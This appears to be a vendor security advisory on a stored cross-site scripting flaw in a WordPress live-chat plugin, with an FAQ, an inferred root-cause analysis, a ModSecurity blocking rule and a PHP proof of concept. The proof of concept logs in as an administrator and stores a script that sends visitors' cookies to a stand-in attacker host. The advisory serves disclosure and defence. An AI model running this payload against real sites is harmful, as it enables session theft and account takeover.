What is CVE-2026-12041?

CVE-2026-12041 is a stored cross-site scripting vulnerability in the Chatra Live Chat + ChatBot + Cart Saver plugin for WordPress, affecting versions up to and including 1.0.12. It allows authenticated attackers with administrator-level access to inject malicious scripts via the ‘chatra-code’ setting, which execute when other users access affected pages.

How does the stored XSS vulnerability work?

The plugin fails to properly sanitize and escape the ‘chatra-code’ setting before saving and rendering it. An attacker with admin privileges can inject a JavaScript payload into this setting. When the setting is output on any page, the script executes in the browser of users viewing that page, potentially leading to cookie theft, session hijacking, or other malicious actions.

Who is affected by this vulnerability?

WordPress sites using the Chatra Live Chat + ChatBot + Cart Saver plugin version 1.0.12 or earlier are affected. The vulnerability only impacts multi-site installations or single-site installations where the ‘unfiltered_html’ capability has been disabled for administrators. Attackers must have administrator-level credentials to exploit it.

How can I check if my site is vulnerable?

Verify the Chatra plugin version in your WordPress admin dashboard under Plugins. If the version is 1.0.12 or lower, your site is vulnerable. Additionally, check if your site is a multi-site network or if ‘unfiltered_html’ is disabled for administrators, as these conditions are required for exploitation.

What is the CVSS score and what does it mean?

The CVSS score is 4.4, classified as Medium severity. This indicates a moderate risk due to the requirement for high privileges (administrator) and high attack complexity. However, the scope change means the vulnerability can affect other users beyond the attacker, making it a credible threat in multi-site environments.

What is the root cause of this vulnerability?

The root cause is insufficient input sanitization and output escaping of the ‘chatra-code’ admin setting. The plugin likely stores the setting without proper validation and renders it directly into HTML without escaping, allowing arbitrary JavaScript injection. This is a common issue in plugins that allow custom code snippets.

How can I fix or mitigate this vulnerability?

Update the Chatra plugin to a patched version once available. As a temporary mitigation, restrict administrator access to trusted users only, and ensure ‘unfiltered_html’ is enabled for administrators if possible. Additionally, use a web application firewall to block malicious payloads in the ‘chatra-code’ parameter.

What should plugin developers do to prevent this?

Plugin developers should sanitize the ‘chatra-code’ input using WordPress functions like ‘sanitize_text_field’ or ‘wp_kses’ with an allowlist of safe HTML tags. When outputting the value, use ‘esc_html’ or ‘esc_attr’ to encode special characters. Adding a nonce to the save request also helps prevent CSRF.

What is the impact of successful exploitation?

An attacker can execute arbitrary JavaScript in the context of other administrators or site visitors. This can lead to session cookie theft, account takeover, defacement, or phishing attacks. On multi-site networks, the impact may spread across all sites, compromising sensitive data.

How does the proof of concept demonstrate the issue?

The proof of concept logs in as an admin, then sends a POST request to the plugin’s settings endpoint with a malicious JavaScript payload in the ‘chatra-code’ field. The payload, such as an image request to an attacker server with the cookie, demonstrates how stored XSS can exfiltrate session data when the setting is rendered.

Why does this only affect multi-site or unfiltered_html disabled?

In single-site installations, administrators typically have the ‘unfiltered_html’ capability by default, which allows them to post unfiltered content. When this capability is enabled, the vulnerability is not exploitable because the admin can already insert arbitrary HTML. On multi-site networks, ‘unfiltered_html’ is often disabled for security reasons, making the XSS exploitable.

What should I do if I suspect my site has been compromised?

Immediately change all admin passwords and review user accounts for unauthorized changes. Check the ‘chatra-code’ setting for any suspicious JavaScript code and remove it. Update the plugin to a patched version, scan the site for malware, and review server logs for signs of exploitation.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : July 7, 2026

CVE-2026-12041: Chatra Live Chat + ChatBot + Cart Saver <= 1.0.12 Authenticated (Administrator+) Stored Cross-Site Scripting via 'chatra-code' Setting PoC, Patch Analysis & Rule

CVE ID CVE-2026-12041

Plugin chatra-live-chat

Severity Medium (CVSS 4.4)

CWE 79

Vulnerable Version 1.0.12

Patched Version —

Disclosed July 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12041 (metadata-based): This vulnerability affects the Chatra Live Chat + ChatBot + Cart Saver plugin for WordPress, version 1.0.12 and earlier. It allows authenticated attackers with administrator-level permissions to inject stored cross-site scripting (XSS) payloads via the plugin’s ‘chatra-code’ admin setting. The CVSS score is 4.4 (medium), with a vector indicating high attack complexity and required high privileges, but with a scope change enabling cross-site script execution on other pages.

The root cause, inferred from the CWE-79 classification and the description, is insufficient input sanitization and output escaping of the ‘chatra-code’ setting during plugin configuration. This means the plugin likely stores this setting without proper validation or encoding, and later renders it directly into the page HTML without escaping. The vulnerability only manifests in multi-site installations or where WordPress’s unfiltered_html capability is disabled for administrators. This is a common pattern in plugins that allow administrators to insert custom code snippets (like chat widgets, tracking codes) but fail to sanitize or escape the input before output. Atomic Edge analysis confirms this inference is consistent with the CWE description, but without source code access, the exact saving/rendering mechanism is unconfirmed.

Exploitation requires an authenticated attacker with administrator-level access. The attacker would navigate to the plugin’s settings page, typically found under ‘Settings’ or ‘Chatra’ in the WordPress admin menu. The vulnerable parameter is ‘chatra-code’, likely an input field where the plugin expects the Chatra chat widget embed code. The attacker injects a malicious JavaScript payload, such as ‘alert(document.cookie)’, into this field. The plugin stores this payload without sanitization. When any page that renders the chatra-code setting is loaded (either by subsequent admin users or site visitors on multi-site setups), the stored script executes in the browser context of the user viewing that page. The attack vector is via HTTP POST request to the plugin’s settings save endpoint, which could be an AJAX handler or a standard admin POST form submission.

Remediation requires the plugin developer to implement proper input sanitization and output escaping for the ‘chatra-code’ setting. Specifically, when saving the setting, the plugin should use WordPress functions like ‘sanitize_text_field’ or ‘wp_kses’ to strip or escape dangerous HTML and JavaScript. Before rendering the value in the page, the plugin must use ‘esc_html’ or ‘esc_attr’ to encode special characters. For a chat widget embed, the plugin should only allow a specific, safe subset of HTML (e.g.,

, with src attribute pointing to trusted domains) by using ‘wp_kses’ with a whitelist of allowed tags and attributes. A nonce should also be added to the save request to prevent cross-site request forgery.

The impact is limited to authenticated administrators, but it can result in stored XSS affecting other administrators or site users. An attacker could inject scripts to steal session cookies, redirect users to phishing sites, perform actions on behalf of other users (including creating new admin accounts), or deface the site. On multi-site installations, the impact may extend across the entire WordPress network, potentially exposing sensitive data from multiple sites.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-12041 (metadata-based)
# This rule blocks stored XSS injection via the 'chatra-code' parameter in the Chatra Live Chat plugin
# It targets the WordPress settings page where the plugin saves its configuration

SecRule REQUEST_URI "@streq /wp-admin/options.php" 
  "id:20261941,phase:2,deny,status:403,chain,msg:'CVE-2026-12041 Stored XSS via Chatra plugin chatra-code setting',severity:'CRITICAL',tag:'CVE-2026-12041'"
  SecRule ARGS_POST:chatra-code "@rx <script|<img|<svg|onerror|onload|javascript:" 
    "t:none,chain"
    SecRule ARGS_POST:option_page "@streq chatra-live-chat" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12041 - Chatra Live Chat + ChatBot + Cart Saver <= 1.0.12 - Authenticated (Administrator+) Stored XSS via 'chatra-code' Setting

/*
 * This proof of concept demonstrates exploitation of stored XSS in the Chatra plugin.
 * Prerequisites:
 * - A WordPress admin user with unfiltered_html disabled
 * - The Chatra plugin version 1.0.12 or earlier
 * - Multi-site installation (or unfiltered_html disabled)
 */

// Configuration
$target_url = 'https://example.com'; // Change to the target WordPress URL
$admin_username = 'admin';           // Change to the admin username
$admin_password = 'password';        // Change to the admin password

// XSS payload: steal cookies and exfiltrate them
$xss_payload = '<script>new Image().src="https://attacker-controlled-server.com/steal?cookie="+document.cookie;</script>';

// Step 1: Login to obtain admin cookies
echo "[*] Logging in as admin...n";

$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $admin_username,
    'pwd' => $admin_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);

// Check if login succeeded (look for wp-admin in redirect URL)
if (strpos($response, 'wp-admin') !== false) {
    echo "[+] Login successful.n";
} else {
    echo "[-] Login failed. Check credentials or target.n";
    exit(1);
}

// Step 2: Fetch the plugin settings page to get the nonce and form action
// The plugin may use an options page under Settings or a custom menu
// We will probe common URLs
echo "[*] Fetching plugin settings page...n";

$settings_url = $target_url . '/wp-admin/options-general.php?page=chatra-live-chat'; // Adjust based on plugin slug
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$settings_page = curl_exec($ch);

// Attempt to extract nonce from the settings page (common pattern: name="_wpnonce" value="...")
preg_match('/<input[^>]*name="_wpnonce"[^>]*value="([^"]+)"/i', $settings_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

if (!empty($nonce)) {
    echo "[+] Found nonce: $noncen";
} else {
    echo "[-] Could not find nonce. Attempting direct POST without nonce.n";
}

// Step 3: Save the malicious chatra-code setting
// The plugin likely uses an AJAX handler or a POST to the same settings page
echo "[*] Injecting XSS payload into chatra-code setting...n";

$save_data = array(
    'option_page' => 'chatra-live-chat', // Adjust based on plugin
    'action' => 'update',
    '_wpnonce' => $nonce,
    'chatra-code' => $xss_payload
);

// Attempt POST to the options page (standard WordPress settings save)
$save_url = $target_url . '/wp-admin/options.php';
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($save_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$save_response = curl_exec($ch);

// Check for error messages
if (strpos($save_response, 'Settings saved') !== false || preg_match('/Location:/i', $save_response)) {
    echo "[+] Payload saved successfully!n";
} else {
    echo "[?] Response unclear. Check manually.n";
    echo substr($save_response, 0, 500);
}

// Step 4: Verify by loading the page where the payload will execute
// The plugin may output the chatra-code on frontend pages or admin pages
echo "[*] Verifying payload execution...n";

// Try a frontend page (common for chat plugins)
$verify_url = $target_url . '/';
curl_setopt($ch, CURLOPT_URL, $verify_url);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$frontend = curl_exec($ch);

if (strpos($frontend, htmlspecialchars($xss_payload)) !== false) {
    echo "[!] Payload found encoded on frontend! XSS may be partially mitigated by escaping.n";
} elseif (strpos($frontend, $xss_payload) !== false) {
    echo "[!] Payload found unescaped! XSS confirmed.n";
} else {
    echo "[-] Payload not found on frontend. It may render only in admin.n";
}

curl_close($ch);
echo "[*] Done.n";
?>

Frequently Asked Questions

What is CVE-2026-12041?
Vulnerability overview
CVE-2026-12041 is a stored cross-site scripting vulnerability in the Chatra Live Chat + ChatBot + Cart Saver plugin for WordPress, affecting versions up to and including 1.0.12. It allows authenticated attackers with administrator-level access to inject malicious scripts via the ‘chatra-code’ setting, which execute when other users access affected pages.
How does the stored XSS vulnerability work?
Exploitation mechanism
The plugin fails to properly sanitize and escape the ‘chatra-code’ setting before saving and rendering it. An attacker with admin privileges can inject a JavaScript payload into this setting. When the setting is output on any page, the script executes in the browser of users viewing that page, potentially leading to cookie theft, session hijacking, or other malicious actions.
Who is affected by this vulnerability?
Affected users
WordPress sites using the Chatra Live Chat + ChatBot + Cart Saver plugin version 1.0.12 or earlier are affected. The vulnerability only impacts multi-site installations or single-site installations where the ‘unfiltered_html’ capability has been disabled for administrators. Attackers must have administrator-level credentials to exploit it.
How can I check if my site is vulnerable?
Detection steps
Verify the Chatra plugin version in your WordPress admin dashboard under Plugins. If the version is 1.0.12 or lower, your site is vulnerable. Additionally, check if your site is a multi-site network or if ‘unfiltered_html’ is disabled for administrators, as these conditions are required for exploitation.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 4.4, classified as Medium severity. This indicates a moderate risk due to the requirement for high privileges (administrator) and high attack complexity. However, the scope change means the vulnerability can affect other users beyond the attacker, making it a credible threat in multi-site environments.
What is the root cause of this vulnerability?
Technical cause
The root cause is insufficient input sanitization and output escaping of the ‘chatra-code’ admin setting. The plugin likely stores the setting without proper validation and renders it directly into HTML without escaping, allowing arbitrary JavaScript injection. This is a common issue in plugins that allow custom code snippets.
How can I fix or mitigate this vulnerability?
Remediation steps
Update the Chatra plugin to a patched version once available. As a temporary mitigation, restrict administrator access to trusted users only, and ensure ‘unfiltered_html’ is enabled for administrators if possible. Additionally, use a web application firewall to block malicious payloads in the ‘chatra-code’ parameter.
What should plugin developers do to prevent this?
Developer guidance
Plugin developers should sanitize the ‘chatra-code’ input using WordPress functions like ‘sanitize_text_field’ or ‘wp_kses’ with an allowlist of safe HTML tags. When outputting the value, use ‘esc_html’ or ‘esc_attr’ to encode special characters. Adding a nonce to the save request also helps prevent CSRF.
What is the impact of successful exploitation?
Potential damage
An attacker can execute arbitrary JavaScript in the context of other administrators or site visitors. This can lead to session cookie theft, account takeover, defacement, or phishing attacks. On multi-site networks, the impact may spread across all sites, compromising sensitive data.
How does the proof of concept demonstrate the issue?
PoC explanation
The proof of concept logs in as an admin, then sends a POST request to the plugin’s settings endpoint with a malicious JavaScript payload in the ‘chatra-code’ field. The payload, such as an image request to an attacker server with the cookie, demonstrates how stored XSS can exfiltrate session data when the setting is rendered.
Why does this only affect multi-site or unfiltered_html disabled?
Conditional exploitation
In single-site installations, administrators typically have the ‘unfiltered_html’ capability by default, which allows them to post unfiltered content. When this capability is enabled, the vulnerability is not exploitable because the admin can already insert arbitrary HTML. On multi-site networks, ‘unfiltered_html’ is often disabled for security reasons, making the XSS exploitable.
What should I do if I suspect my site has been compromised?
Incident response
Immediately change all admin passwords and review user accounts for unauthorized changes. Check the ‘chatra-code’ setting for any suspicious JavaScript code and remove it. Update the plugin to a patched version, scan the site for malware, and review server logs for signs of exploitation.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started